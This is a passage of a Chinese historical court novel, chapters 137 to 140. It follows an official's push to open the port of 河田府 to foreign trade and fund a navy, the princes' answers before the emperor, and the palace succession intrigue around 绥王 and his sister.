段之缙瞧了瞧他的脸色,很平常自如,想来没受到什么惊吓,这才开口问今日过得怎么样。 “爹,你就放心吧,儿子能有何事?三皇子聪明好学,师父的手板子自然打不到我的身上。人也和善,待儿子也好。” “真的?” “自然是真的,不过要是让我选,还是跟着绥王舒坦。他的伴读唐雅源威风赫赫,俨然是二主子。” 段之缙一愣,唐馥的儿子,但缓过神叮嘱道:“旁人我管不了,可若是你像唐雅源一般,无尊无卑的,我非褪下来你的皮,听见没有?” 段诠嘻嘻一笑:“我就是说着玩玩,哪能真像他那样?您就把心放肚子里吧!” 段之缙又指点一问摇头三不知,不许任何人打听自己的事情。 “尤其是和三皇子,说到底他是君你是臣,你就是个伺候主子读书的,可千万别和人家交心。” “是,儿子知道了。” 第137章 137又嘱咐段诠好好读书上进,…… 又嘱咐段诠好好读书上进,又嘱咐他和皇子们保持好距离,段之缙便叫他回自己的院子,而后和沈白蘋用饭。 只是吃饭也不安生,总是皱着眉想事情,筷子上什么也没有就往嘴里送。 “是锁儿的事情叫你这样为难还是东南贺子成的事情叫你头疼?” 后者是段之缙提议在淮宁河田府再开口通商,结果贺子成严辞反对,两人差点在朝堂上叫骂起来。 段之缙搁下筷子,“都够叫人难受的。锁儿从小就是个胆大心思多的孩子,还不满十六岁,正是年轻冲动的时候,但又素来听话。我既怕他和别人闹了矛盾,又怕他太听我的话遭了别人欺负。” “至于东南的事情,我就是抱着皇帝的腿撒泼,也一定要叫淮宁的河田府对外通商。” 整个东部沿海中,河田府对外的港口最深最大,但平日里风平浪静,很适合大船停靠。 与此同时,河田府的百姓众多,劳动力充足,足够满足商业发展的各种需要。退一万步来说,就算不通商,南粮北运放弃运河而改用海运也能节约下不少成本,省下来的钱干什么不好? 沈白蘋哼笑一声:“你抱着皇帝的腿求,贺子成他们也能抱着皇帝的腿求呀,关键看谁说的有道理。现在只余一府通商也是多层考虑的结果。” “一则前朝的教训,严禁通商是为了防范倭寇。” “二则他们来通商的洋夷也并不安分,因为信教的问题和当地居民起争端也不少。就我听说的,前些年不是还有传教的洋先生引诱咱们国人不要进行祭祀祖宗,被当地的知县抓了吗?” “再有就是祖宗成法,轻易变不得。而且你再开一府通商,把贺子成的大饼砍了一半儿去,人家死也不能愿意。” 段之缙彻底放下了筷子,问沈白蘋:“我听你的语气,难不成是有想法了?” 沈白蘋用茶水漱了口,笑道:“在西南,你一大半的时间跑外边回不了总督衙门,京里来了圣旨、折子都得我先看,平日的节庆问候,给皇上上折子请安问好也是我处置,皇帝的性子我明白,他是无利不起早,你得悄悄地和他算通商之后国库能进多少钱,而我们说的倭寇等又不会花多少钱。至于其他的事情,你难道还想不出解决的法子吗?” “是,其他的法子倒是好弄。” 这下心稍微放下了一点,段之缙又有了胃口,就着冷掉的菜吃了一碗米饭,就收拾收拾睡觉,准备第二天军机处议一议。 因为宫里尚书房上课和军机处上值是差不多的时辰,他就带着段诠一块儿离家。 段诠也是福天掉到了苦地,平日里哪就起这么早了?一直都是天亮了再起,结果现在卯时就得到尚书房,天还没亮呢! 别说吃饭了,他都是抱着衣服上了马车,他爹爹帮着他在马车上穿的。 段之缙好歹给他把棉服都穿好,又狠狠系上了大氅,给孩子裹得里外不透一丝风才放心,叮嘱道:“该吃吃该喝喝,实在是不想学也无妨,我估计着过几年三皇子彻底不去尚书房了,你也就被送国子监去了,去那正经学也行。” 段诠强撑着眼皮点头,一个猛子扎下马车被他的小厮段科接住,抱怨道:“小爷看着些,你要叫皇子先生们看着你满头血得进去吗?” 段诠被外边的冷风一激也清醒了过来,把爹爹的马车抛在身后,小跑去了尚书房。 尚书房里大大小小的皇子和宫内读书的宗亲全都到了,小活佛布扎拉依已经坐在绥王身边读起了书。 他在门口歇歇气,草草收拾了身上的衣服才稳重地走进去,随手解下身上的大氅递给看班的太监。 段诠给四五个皇子问好之后走到三皇子身边坐下,三皇子看着他眼睛含着笑,问道:“谁你给穿得衣裳,扣子系错了也不知?” 段诠手忙脚乱地查身上的扣子,果然是系错了,不仅是系错了一个,而是系错了一排。他一边抱怨着,一边不知如何是好,纪明祚叫他转过身去收拾,“反正都是男人,你只管重新系。” 等着段诠收拾完,整张脸儿都涨红了,尴尬地高声背书,幸好周围人都没把此事放在心上,只觉得新来的小子忒虎。 过了辰时,皇子、伴读读书也已经惫乏了,授课的翰林院学士王自平款款进屋,抽了两个伴读背书,才开始今日的授课。 “昨日授《大雅假乐》,所谓不愆不忘,率由旧章,旧章何指?” 纪明祚答道:“郑康成注为先王礼法,为文王典制。” 王自平颔首,看着三皇子再问:“孟子斥白圭欲二十取一,曰:貉道也。何也?” “貉为夷狄,其征发之法不合礼法。” “善,故孔子书初税亩三字,谓其坏井田祖制。” 王自平说完扫一眼底下的学生,“昨日留的课业,叫大家诵《王制篇》,家宰制国用,必于岁之杪,祖宗税制乃阴阳协和之道,观乎天文以察时变,前朝改税次年彗星贯紫微,正合天人感应。” 他点到为止,又开始讲《中庸》,“生乎今之世,反古之道,灾及其身……” 在场的诸位都不是蠢人,王自平突然讲什么祖宗成法,目的为何大家也都清楚。 三皇子看着老师深思,他原有的伴读偷偷瞧着段诠,或窃笑或担忧。 绥王听见了又没听见,叫唐雅源研磨,只顾抄自己的佛经。布扎拉依倒是听了,可他才十岁,和其余的小皇子一样似懂非懂。 段诠无所谓地展开书,照常上课。 反正王自平是师傅,愿意怎么教就怎么教,但段诠却能选择从与不从。 王自平暗戳戳说的话自己虽不认同,但他的学问却不是含糊的,能学一点儿是一点儿。 这里有反对的,军机处就有大力支持的。 大臣们来得早,皇帝来得更早,段之缙已经是头一个到的了,谁知皇帝已经坐在了椅子上,脸黑得像锅底,等着其他人来。 人到齐了先训斥一番为何来得这样晚,训完后才开始说通商的事宜。 “这事儿是允升提的,那就允升先说。” 段之缙已经把获利之多寡详细上表,纪禅自然是心动,但心动之余还要想想开口岸后随之而来的管理问题,以及自己糟烂的名声。 再者聚在一起商议,也能想出些好法子。 头一个说话的是邹文,他现任户部尚书,国库里进出一文钱他都要知道,对这种事儿最上心。 “臣以为开河田府对外同商一事尚且有几点要问,若能回答,通商一事才似乎可行。” “其一,若通商之后白银外泄如何?其二,对外通商的赋税如何厘定,如何保证通商之后商税的缴纳。其三,谁有资格同外夷通商?其四,如若放开之后,商人不与洋人通商如何是好?” 皇帝看向段之缙,后者答道:“其一,以岭南为例,从没出现过白银外泄的情况,反而是国内白银不断增加,茶、丝、瓷的买卖一直都很昌盛。淮宁本就是茶叶的产地,开放之后更不可能导致白银外泄。” “其二,商赋之厘定可以参照东南。若担心外商不敢来河田府通商,也可先以更低的税赋吸引他们前来,日后再提高。若担心关税征收困难,可设专门处理此事的催征衙门,商人购得商引与外夷签订商契之后,货物交付之前先到催征衙门上缴一半的税额,再行交付,交付完成补缴剩下的部分。” “其三,仍可沿用东南开放的模式,叫商人们先购买商引获得通商资格,而后再与外夷通商。当然,这个自己要朝廷详细审查,不能叫别有用心之人混入其中。” “其四,内地商人多弃商置地,无非是商税不合理,辛苦一遭一半儿都缴了税,还有各种吃拿卡要,一道关一层税,因而只要控制好地方的官员,叫他们少盘剥,商人们与外商贸易是水到渠成的事情。且淮宁本就有众多的商贾,定然是有人来贸易的。” 邹文又问道:“你说的催征衙门只看商契却并不能详知买卖之价到底如何,倘若出现他们明面上一张契,背地里又一张契又应当如何是好?” 还不等段之缙作答,思量许久的方叙墨回道:“这不难。而今买卖之事非一家一姓之买卖,除非他们联合起来全都商定一个统一的价格蒙骗催征衙门,否则售价过低衙门一定会警觉。只要发现就夺了他们的商引,加倍惩戒处罚。” “总之是兵来将挡水来土掩,倒不必现在就烦忧起来。” 邹文的事情了了,兵部尚书又上前道:“陛下,臣只有一问,若外夷的商船引来倭寇如何是好?” “自然是发展水师!”段之缙看向皇帝,“陛下,朝廷的水师已经停滞多年,也是时候再捡起来,如今正是最好的时机。” 兵部尚书高声喝问:“钱从哪里出?!” “国库本就应该出钱练兵。” 他轻蔑一笑,“段大人,您是不当家不知茶米油盐贵,您问问邹大人,国库有富裕的钱用给水师吗?” 邹文也为难道:“段之缙的提议实在是突然,今年国库的进账,长乐王已经同臣做好了安排。京畿的营田水利要用去一部分,山东黄河堤坝又要用去一部分,此外修运河,贴补西北、穹迦新附夷民……” 林林总总一大堆事情,全是一个字——钱。 “按照惯例,总还要留一部分应急赈灾之用。” 邹文户部的差事也算是做到极致了,一文钱都看在眼里,这样冷不丁弄出来一个通商的事情,他一时半会儿也安排不了。 段之缙和方叙墨商量了一会儿,却是也抠不出来银子了,事情议了一上午,大家也全都饿了,于是皇帝起驾回宫,又单独叫了段之缙和方叙墨陪膳。 第138章 138段之缙和方叙墨陪…… 段之缙和方叙墨陪侍在皇帝左右,吕太清带着小太监布菜,皇帝回想方才议的事情,突然问道:“沿海的民众是不许下海的,倭寇不上岸,要抢也只能抢海上的外夷,倘若上岸那自然有陆师对付,训练水师应当没什么必要吧?” 他觉得通商无不可,但水师这个问题的确难办。 造船、练兵自然是要花钱,谁来领兵如何建制又是一个问题。 想想都脑袋大。 “不可啊陛下,一则若是倭寇抢的多了,外夷瞧着咱们这里不安全,难保不会放弃通商。二则我泱泱大国,水师怎么能不操练起来?歼敌于海上损失小,可歼敌于陆上的损失可就大了!再退一步说,君子以思患而豫防之,水师也不能没有……” 段之缙一着急,未免叨叨起来,皇帝不耐烦地打断他,饭也吃不下,问道:“那你说怎么办?还同西北那般跟商人要?” 段之缙狠狠心,试探道:“买商引是一进项。” 方叙墨摇头:“建立一只水师所费甚多,不是商引能够覆盖的。” “随着买卖进行,咱们收入的商税也往里边投入,随进随用,然后朝廷还可以跟大商人们借贷……” “这是什么话!” 皇帝眉头一蹙嗔道:“你也能说出口,朝廷跟着商人借贷像什么样子!” “这也是平常之举,朝廷只不过是一时举债,早晚也会还给他们。或许也可以先通商,一点点儿往水师中投钱。总之通商是势必要先进行的。” 皇帝摩挲着茶碗思考,又看看方叙墨,方叙墨也出声赞同。 他阖目静思片刻,段之缙说得的确有道理,泱泱大国,那么广大的海域,总不能永远不下水。 岭南的买卖做不完,就应当分给河田府做,这块儿肥肉悬在面前没有不咬的道理。 他睁开眼睛叫人把桌子收拾了,也不知是又吃了丹药还是怎么回事儿,皇帝精力旺盛得很,并不需要中午睡个小觉,即刻命大臣到养心殿再议通商一事,又派人把前四位皇子都叫来听政。 正是冬日午后日头最高的时候,养心殿里一片阳光灿烂,大家又刚吃饱饭,脑子也昏昏沉沉只听段之缙絮絮叨叨说了一通,邹文反应了好长时间,直到被皇帝点名才上前答话。 “臣以为此法可行倒是可行,只是彻底没了章程总归是太险。水师建制一旦启动,便如铜板铁板,日日耗资,绝难中断。若以虚浮之商税为基,倾覆只在旦夕之间。届时,不仅水师半途而废,前期投入尽付东流,更恐动摇国本。” 这样走一步看一步,万一路走不通,前边的银子可就全白花了。 兵部尚书又道:“臣以为段之缙通商的设想,同摊丁入亩还不尽相同,土地是死的,土地不跑银子就跑不了。但人是活的,若无买卖则无商税,到底是影里泡着的事情,能不能增加国库收入也是镜中花水中月,捞不着的东西。现在要为了镜中花水中月来建水师,臣……臣以为不妥。” 他的意思很清楚,只要不通商,岸边则无人,只要岸边无人,则无倭寇来犯,无倭寇来犯那还建什么水师?但凡能维持现状他是不愿意变的,因为水师这玩意儿都是哪朝哪代的事儿了?若是叫他弄出了差错,岂不是要丢了现在的高官厚禄? 段之缙回道:“便是一时不来犯,你怎可料定一世不来犯?”他转向皇帝,“照臣之愚见,即便是不通商,还得尽快建设水师。” 兵部尚书当即反驳:“若无利可图又何必来犯?” “上了岸不就有利可图了?若是日后有倭寇来犯,你能对今日之事负责吗?” “我敢保证,五十年内倭寇不会来犯!” “五十年后扒了你的坟,把你刨出来对倭寇一事负责吗?” “你!”兵部尚书气得脸红脖子粗,坟茔在当代比生前住所还要重要,怎可叫人拿来说嘴,于是又气又盼望地看向皇帝,指望着皇帝给他做主。 皇帝也觉得段之缙有些过火,咳嗽了一声骂道:“叫你们来有什么用?一张嘴就是吵!”他看向自己那四个默不作声的儿子,问道:“你们也别光顾着看热闹,有什么看法说出来,不要怕说错。” 照例该从太子开始,但太子秉持着多说多错,少说少错,不说不错的原则,一味地说“全凭父皇做主”。皇帝瞪他一眼,看也不看二皇子直接跳到了纪明祚——他真正的“储君”身上。 “明灯,你来说。” 纪明祚被点到,从容出列一步。 他方才冷眼旁观段之缙与兵部尚书的激辩,心中早已有了计较。父皇虽不耐烦争吵,但对通商之事绝不排斥,只是对耗费巨资建 立水师犹疑不决。 “父皇明鉴。儿臣以为,段大人言水师之必要,诚然有其道理。海疆万里,乃国门藩篱,不可不备。倭寇狼子野心,观前朝便可深知,岂能以一时之安而料定永世之宁?‘思患而豫防之’,古之圣训也。故儿臣以为,训练水师,建造战船,实乃固我海疆、扬我国威之要务,确应着手筹办。” 可对于通商一事,他想着老师的教导,顿了顿,话锋一转,回道:“关于以通商之利供养水师之策,儿臣以为失于本末,且遗患无穷。” 他看向段之缙,“段大人,《洪范》八政,首曰‘食’,次曰‘货’。食乃民命所系,国之根本。商虽为货通之利,然究其根本,亦需仰赖农桑所出。若朝廷大开通商之门,专以商税为水师之资,此乃舍本逐末,极易使天下士农工商,竞趋末利,荒废本业。长此以往,膏腴之地无人耕种,商贾之风日盛,人心浮动,追逐锱铢之利,则国本动摇矣。” “且段尚书所言‘随进随用’,甚至‘借贷于商’,儿臣以为更为不妥。通商之利,盈亏难测,岂能将国之重器悬系于商贾逐利之途?一旦海路受阻,商税骤减,水师粮饷立时断绝,数万水军顷刻间便成无根之木,朝廷将何以自处?难道真要与商人借贷?此非朝廷体统,更有损天子威仪。” 皇帝欣慰一笑,倒真是说出了几分道理,王自平和那些大儒也真有几分本事,这样教导下来,叫明灯做皇太子便不至于败坏了祖宗的基业。 他循循善诱:“你既然说不能以商税养水师,那应当如何供养?” “儿臣以为当以田赋正税为根本。水师耗费虽巨,亦应于正项之中,或开源节流,或统筹调度,精打细算,徐徐图之。此方是长治久安、不伤国本之道。” 段之缙眉毛一挑,看一眼方叙墨,方叙墨面色一凝,还不等他说话,苏橙就先问道:“三皇子的意思是,想在摊丁入亩之后再增田税了?可摊丁入亩已经加了不少的田赋,十几年间连加两次田赋,是否有损于陛下的圣明?乡绅已经多从贱业,即便是不以此为主也参与其中,再加征那土地谁来耕种?”他哂笑一声,“您方才也说,商贾之风日盛,人心浮动,追逐锱铢之利,则国本动摇矣。现在又说加田赋,岂不是逼着他们去从商?” 三皇子不紧不慢答道:“那就加征东南商税,加征两倍三倍来。东南的通商向来稳定,除此之外夷人也没有别的地方能与我大国互通有无,我朝之茶、丝、瓷,于外邦小国一日不可或缺,即便加税他们也不得不通商。再者重赋之下也能倒逼他们弃末从本,稳定民心。” 苏橙见他上钩,转向皇帝下拜,“陛下,臣以为此法万万不可,东南比之十几年前兴盛无数,皆有各地摊丁入亩的缘由。土地上获利少而与外夷通商利大,因而加征之损失足以被通商之利覆盖,现在商科已然沉重,若再加两倍原本因利而来的商人又会因利而去。不经商,不种田,又不能做官做工匠……陛下,定然会出乱子的。” 皇帝颔首,看着纪明祚道:“都听见了?朝中久历政事的大人是如何考量的你要勤加学习,赋税不是想征就征想加就加的。” “是儿臣思虑不周。” 不过照他现在的年纪,能想到前边的事情就很好,倒不必过于苛求。 最后,皇帝看着纪明瑚,示意他说话。 纪明瑚想着昨日苏橙的嘱咐和教导,反倒是不解地问道:“儿臣不知父皇和诸位大人在急些什么。” “这话是怎么讲的?” “商人以逐利为根本,东南商科并不低,商引更是高价买卖,可即便如此仍然是一引难求,无非是此利甚大。既然获利这样巨大,河田府一开,本地的商人岂会舍近求远?倭寇一来,扰了他们的生意他们又岂会无动于衷?儿臣闲暇之时曾在兵部看过十年前西北战事的文书,在父皇号召全国商人纳捐之前,西北的商人已经联合为西北军筹措了不下一百万两白银,无非是因西北不通,他们的买卖做不大。因而倘若倭寇来犯,本地的商人都会自行反击,更何况捐钱纳粮呢?” “若再叫他们出海经商,获利更大,可为了寻求庇护不受倭寇侵扰,他们就一定会帮助朝廷兴建水师。” 皇帝惊讶地看着纪明瑚,“下海?你的胆子倒是大。” 所有人都震惊地看着绥王,段之缙立刻抓住了这个机会附和道:“臣以为绥王所言甚有道理,主要许商人们下海经商,那事毕能借商贾之力兴建水师!” 第139章 139“好了好了!这件事儿不…… “好了好了!这件事儿不要再议了!” 皇帝见他们越说越没边儿即刻打断。 真是什么话都说得出口,不过奴奴说的倒也没错,倘若真的有倭寇,商人未必不会有所作为,他要好好地想一想。 “朕乏了,你们都下去,明灯陪朕说说话。” 其他人按顺序退下,纪明祚跪在皇帝身前受训,只听皇帝说:“你这样的年纪,倒是比朕这般大的时候强不少,但书上的东西到底是书上的,不可尽信。” “父皇是说通商?可民以食为天,倘若所有人都去经商,谁还来种地呢?” 皇帝疼爱地摸摸他的脑袋:“泱泱大国,还有段之缙弄出来的水稻,现在富庶之地的常平仓里,粮食都是堆积着烂的,新粮填也填不进去。可有些土地少的地方,也不过是将将能够饿不死,这粮食转运光靠朝廷、运河,那今年的黄河大堤就难修了。” “父皇是想要靠商人转运粮食?” “你明白就好。士农工商,之前没有景淳稻,朕也不敢叫他们如此。读书是一回事儿,但也要因时而动,这些圣人教训都几千年了,不一定在我朝奏效,叫你学,也是为了安稳人心。你这一点儿上你便不如奴奴了。” 纪明祚眼帘一垂,“是,弟弟自幼便聪慧有主意,是儿臣不及他。” 皇帝失笑,“何苦想那么多呢?金簪子掉到井里头,有你的总是有你的。你弟弟身子不好,日后你要多怜惜他,不要叫他吃了罪。” 纪明祚保证道:“只要有儿臣一日,儿臣定然像父皇待王叔那般待弟弟,我们兄弟二人,给后世做一对儿兄友弟恭的典范。” 皇帝开怀一笑,将造办处新送上来的金如意赏与他,叫他今天下午跟着方叙墨走动,去吏部看看。 出了养心殿,小绥王和他们凑在一起走了一段,主要还是同他的姐夫苏橙讲话。 苏橙从袖中掏出一轻薄的小琉璃匣子,里边黑天鹅绒的垫子上用金线固定了一条熠熠生辉的钻石项链。 七颗鸽卵大小的南洋钻串联成主链,每颗皆以蟠龙金托固定,龙睛嵌碧玺,折射的光斑在玻璃上游动。正中心一颗硕大的梨形主钻悬于双头鹰之上,鹰翼缀满蓝宝石,利爪处紧扣一枚翡翠圆璧,虽不伦不类但瞧起来再耀眼不过了。 绥王一笑,“姐夫给我的?” 苏橙把匣子塞进他手中,“你姐姐昨儿还跟我说,她那不争气的弟弟又把弟妹闹恼了,叫我拿点儿好东西送给弟弟去哄哄弟妹,省得又跑到京郊的卧佛寺破三关,宫门关了也不回,闹出那些笑话来。” 纪明瑚伸出白到冷腻的手接过,一转身递给太监,雪白的脸皮有些红,跟着姐夫抱怨道:“阿姐怎么什么事儿都跟你说?以后再不叫她入我的宫殿。” “那你把东西还我。” “那可不行!这东西虽俗气些,但对着她来说却是正好。代我谢过姐姐,等会儿叫人往公主府送些荔枝去,给姐姐甜甜嘴。” 苏橙惊讶道:“这时节哪儿来的荔枝?” “叫你说得像是什么好东西。不过是去岁赏下来的玩意儿,只不过性太热太医不叫我多用,全用蜜渍了起来,虽不鲜了,但泡水还别有一番滋味。” 绥王又和他说了几句,两人在军机处分别,邹文领他去户部,方叙墨在军机处等着三皇子过来,顺便和段之缙说说话。 他的嘴一撇一撇,十分看不上的样子。 段之缙看着苏橙进去了,拽着他出来。 “你该背着些人,怎么当着人家的面做这种神情。” “这有什么?他做那种上不得台面的勾当,教着绥王不学好还有脸不叫别人说?” “苏橙怎的了?” 方叙墨冷嗤一声,“绥王宠妾灭妻,他在旁边摇旗呐威,也就是现在没离宫辟府,要是在外边建了王府,恐怕全叫侧妃攥在了手里。现在好歹有皇后娘娘压着,要不然真是……” “倘若我没记错,绥王的嫡妃是你们方家的女孩儿吧?” “是,我的亲侄女。” 怪不得方叙墨如此气愤,他是个重情义的人,即便嫁出去的女儿泼出去的水也不能不管不顾,何况这还是亲姐夫的侄女,不看僧面看佛面,绥王更应当尊重才是。 “皇帝指得婚,皇帝不管一管?” 方叙墨漠然 道:“他只知道那下贱的女人给他的宝贝儿子生了长子,哪还能记得我那没生孩子的侄女呢?” “不过是奴才出身,最粗俗无理的人,文字一概不通,可偏偏还会拿腔拿调,一开始欲擒故纵,要拿剪子自戕,逼着绥王放她出了宫,逼得绥王去了卧佛寺破三关,谁知她又跟着跑到卧佛寺去,在寺里边有的身孕,这也好意思敲锣打鼓地迎进宫里。本来王爷纳一个奴才也没什么,我妹子也不是容不下人的妒妇,结果偷人偷到了寺里去,却不怕天打五雷轰。” 可笑绥王念一顿佛法,吃几年素斋,最后金身佛像面前做这种业障。 段之缙一言不发,任方叙墨咬牙切齿地骂,“他们苏家倒是会做忠臣,绥王正想着怎么给那奴才上名分,苏老夫人就上赶着认了女儿。” 正在方叙墨小声骂骂咧咧的时候,苏橙一杯凉茶泼了出来,茶叶末和一口量的茶水浸透了台阶儿,很快染上了霜。 苏橙咳嗽一声,不知他听没听到,还是听到了装作没听到,笑眯眯地招呼起他俩,“段大人,方大人,外边儿天这么冷,快进来烤火热热身子呀!” 方叙墨起身亲热地拉着他的手进门,“前些日子公主气儿不顺,为难了你,我给你赔罪了,咱们可都是正经连襟……” 段之缙在身后似笑非笑,宋征舆把文书抱了出来,正巧撞上这一幕,提醒道:“长乐王管领会考府,苏大人正在其手下办差。” “原来如此。” 会考府是新设的审计部门,哪一个不想干了去得罪审计的人呢? “二哥,天儿冷,咱们快进去吧。” 两个人一块儿进去,段之缙问道:“你何时离京去辽河?” “开了春就走,辽河春耕晚,得等着化了冻才好去清丈土地。” 段之缙叹气,“我回了京才不久,你又要被派出去了。” 宋征舆倒是不在意,“亲戚间回避是朝廷的惯例,怎好叫妹夫和舅子同在军机处?辽河总督也很好,去那干上几年比在京城有意思。只是还要借二哥的师爷用一用。” “这是自然。” 下午办皇帝吩咐下来的差事,又去部里转悠两圈,便到了下值的时候,今天值班的是宋征舆,苏橙和他们一块儿往外走。 人倒霉起来躲都躲不掉,恰在下午苏橙泼茶的地方结了冰,叫方叙墨摔了一个大马叉,只能让苏橙和段之缙扶着走,这一伙人又在宫门口和绥王撞在一块儿。 绥王和他们打过招呼,问过方叙墨的伤情,客客气气地约好时间去看看外甥,一转身就叫苏橙跟在他的后边,两个人往灵慧公主的公主府去。 方叙墨跟段之缙讥诮道:“你瞧,苏橙又要做老鸨子了。” 段之缙叫他悄声说话,“小王爷耳朵精着呢,小心他回头褪下来你的皮子。” 纪明瑚也是公主府的常客了,侍卫们领着驸马和王爷往里进,跟两个主子汇报道:“姑娘玩累了在睡,殿下在哄姑娘,小爷才从宫里回来,现在去了白先生那里学洋文,才两刻钟。” 苏橙看一眼纪明瑚,问道:“你是去找先生,还是跟着我去看你姐姐?” “姐姐在哄妞妞,我就不去了,上完课我自己就走了,姐夫不用管我。” 苏橙答应下来,一个人去找了公主。 室内还是暖春一样,一进去冷热相撞,叫他打了个激灵,站在外室叫骨头缝里都钻进了暖意这才换了衣裳进入内室请安,公主正在给小儿哼歌。 公主打个哈欠起来,问道:“父皇叫皇子们听政了没有?奴奴如何答的?” “叫了。父皇对奴奴如何公主还不知,说错了说对了都是不要紧的。” “何止呢,老三说错了说对了也是不要紧。我问得是父皇反应如何。” “瞧着恼了,但实则有些心动。” “能不心动吗?自从段之缙给他分析完了土地之上抠不出多少钱,他就紧盯着干买卖的了。老三他答的什么?” 苏橙照实说了,公主微微一笑,合手念佛:“真是造化,我就说王自平是典范君子,老派的人物,果然给咱们三弟教育成了小君子,正派的储君。” 可多巧妙啊,若皇帝前边没吃过商税的甜头,三皇子就该是十全十美,古往今来难得的储君。 苏橙手捧着热茶附和,“是,也不枉我们这样为王自平作保。” 先帝正经接受帝王教训的儿子是废太子,当今说一句随心所欲也不为过,因而接受新鲜事物极快,可教育储君却还是老一套,早晚有他受不了的时候。 公主看了一眼桌上的自鸣钟,又嘱咐苏橙:“看着差不多时间了就叫奴奴带着咱们儿子吃饭,吃完饭叫他回去。前不久过节的时候,宫里赏下来些西北、西南来的贡品首饰,虽粗糙些但胜在新奇,是咱们这儿没有的。你跟他说明白,是做姐姐的赐给他媳妇的,叫他多多体贴父皇,没事儿就去跟前儿伺候着。” “可是父皇的身子……” “是,我前些日子去请安,看着又像是之前的症状了,也不知洋人的药还能不能管用。” 第140章 140绥王不敢在阿姐家待太长时…… 绥王不敢在阿姐家待太长时间,若回去晚了父皇和母妃定然要问,这次来只不过是把上次没有弄明白的学问问一问,再拿着侄儿的笔记回去自学,若仍有不懂的,下次再来请教。 这两个年岁差别不大的人结束了课业,恭恭敬敬地将洋先生送出公主府,绥王就携着小外甥一块儿去找阿姐。 小外甥方才已经用了饭,绥王还空着肚子。这事儿灵慧公主也知道,所以原本不必见他,也得把他叫来问问。 灵慧一边用粥一边嘲笑他:“你媳妇不见得能给你留饭,还是在我这吃了吧。” 绥王却道:“虽不见得能给我留饭,叫我吃她剩的也行啊。” 苏橙只是笑,赞他们小夫妻二人感情好,灵慧公主一蹙眉,提醒绥王:“事情不能做得太绝了。你的嫡妃到底是方家的女孩,又和东宫太后有千丝万缕的关系,别的不说总要照顾照顾太后的心思。你没事也别腻在侧妃屋子里边,去看看方家的女儿。我想着如果她能够给你诞下嫡子嫡女,那定然是最好的。” 绥王撇撇嘴:“我又不是太子,嫡子嫡女的有什么意思?那儿子我喜欢,我就跟父皇为他请封世子,把爵位传给他。长乐王叔不就是如此做的吗?再者,还有太子哥哥在,若父皇不许,到时候我向他请封不也行吗?” 灵慧公主把他叫过来,拿筷子尾敲他的脑袋嗔道:“你倒是想得美了。你的太子哥哥能不能保住太子位都是个问题,你还指望着他呢?不如指望指望你的明灯哥哥。” 苏橙瞧他们两个斗嘴,跟绥王说:“那可真是个小老夫子,若明灯能许你这般,也算是出奇的恩典。” 绥王找了个小凳子坐在灵慧公主旁边,随手拿过一盏茶碗,涮了涮往里边舀了一勺粥喝,沉默了一会儿突然阴阳怪气地说:“是了,他最是听话的人,正人君子,天下都指望着他呢。” 灵慧公主见他如此不屑,心中暗笑,摸摸他的脑袋,又细致地叮嘱起来:“父皇这些日子恐又不太舒坦,你要警醒些,多多关怀他老人家。至于明灯,他是在父皇的心尖尖儿上,事情那么多,要学的东西也那么多,叫他专心学习罢。” 绥王对灵慧公主的用意十分清楚,满口答应下来:“是,我明白。阿姐,时辰不早了,我先回宫了。” 苏橙带他出去,公主府正门一开,竟然是唐雅源带着他的小厮在门口等着,两个腮冻得通红。 绥王吃了一惊,因着小哥俩实在是玩得不错,现在又心疼起来,把姐夫的手炉塞到了唐雅源手中,叫他上前回话。 “你在这做甚?天这样冷,怎得不回家去?”说着又叫太监把自己的大氅给唐雅源罩上,唐雅源一摆手推开,和苏橙问好后扶着绥王上马车。 “我出来溜达,在公主府这儿看见了王爷的车驾,过来问安的。” 溜达?大冷天有甚好溜达的? 绥王想了想周围几条街的布局,脸色突变,张口骂道:“好你个畜|牲!是不是又跟着长乐王叔的世子去窑子铺了!你们当巡城御史吃干饭的啊?父皇知道了你可别想在我身边呆了!” 唐雅源被人猜个正着,讪讪一笑:“这有什么啊,我都这般大了,再者不还有长乐王世子在前边挡着吗?” 绥王踹他一脚:“是谁在前边挡着?是王叔护着他的好儿子!” “那王爷也会保着奴才不是?” 绥王又给他一脚:“到底是什么事儿?巴巴地跑到了公主府守着,还跟着我上马车。” 唐雅源拿起公主赐下的一只小陶盅把玩,又道:“我是为了王爷好。灵慧公主和苏大人待王爷太亲热了些,又是帮着王爷处理侧妃的事情,又时不时送珍贵物件供王爷享用。倒不像是姐弟……” “像什么?像母子?怕是像臣子和储君吧!” 唐雅源手里一松,陶盅啪的一声在地上摔了个粉碎,他结结巴巴道:“王爷,王爷知道?” “一切所得皆有因。我母对我施恩,是因我为我母所生,母之爱子正如子之爱母。我父对我施恩,是因我幼时种下层层因,体弱、留守和被诅,都是我得恩之因。我姊妹对我施恩,是因为太子哥哥靠不住了,而他们自以为聪明,觉得父皇会因爱立嫡,纪明祚会因其不会讨好陛下而失欢于君王。” 他玩味一笑,皂靴将碎掉的陶片都踹下马车,看着唐雅源道:“父皇是圣明君主,他不会因为这种狗屁倒灶的事儿厌了纪明祚。他只会因为纪明祚不听他的话,不能延续他的善政而厌了他。所以苏橙有一件事儿干得不错,给纪明祚硬推了王自平做老师。他是当代大儒,本事岂是旁人能及的?只可惜他是真学究真大儒,比丁承祖和蒋育成还要真。” 唐雅源已经被吓得张着嘴哆嗦起来,“殿下,您……您……” “你什么你?要是纪明祚能成储君,为何我不能做储君?我俩同日而生,我比他就差在了体弱一点上,可那又如何?难道做皇帝要叫我上战场吗?太子哥哥是长子,名分上的太子,可若长子不能理所当然的做太子,他纪明祚也别想理所当然地做太子。” 马车声粼粼,先把唐雅源送回家,又回到宫中,此时天已经黑透彻了,纪明瑚有些倦,但还是叫太监把他的儿子从承明殿领过来。 “叫侧妃给他穿那身红色带蝙蝠纹的棉袍,用父皇赐下的南瓜手炉” 太监赶紧去接小皇孙,纪明瑚用大氅里侧的绒搓了搓脸,原本有些白的面庞登时有了气色。 他的儿子跟个肉团子一样被牵过来,整个人包得像是福娃娃,身上金锁金项圈样样不少,甚至有些累赘繁琐。 纪明瑚恍惚间有些失神,自己这样羸弱的身子,竟然会有焕儿这样健康的孩子,果然是造化。 小皇孙脸上抿着笑,腮边两个小酒窝盈满了甜酒,他娇声娇气唤父王,肉墩墩的小手拉过去。 纪明瑚蹲下身子摸摸他的脸:“好焕儿,等会儿父王怎样,你就怎样,知道吗?” 小皇孙虽才不满两岁,但似有所觉地应了下来,纪明瑚这才领着儿子去给父皇请安。 自搬到养心殿起卧之后,除了大议,皇帝基本不去乾清宫阴冷寒湿之处,一则是为了身子着想,二则是这里离着前朝更近,理政更为方便。 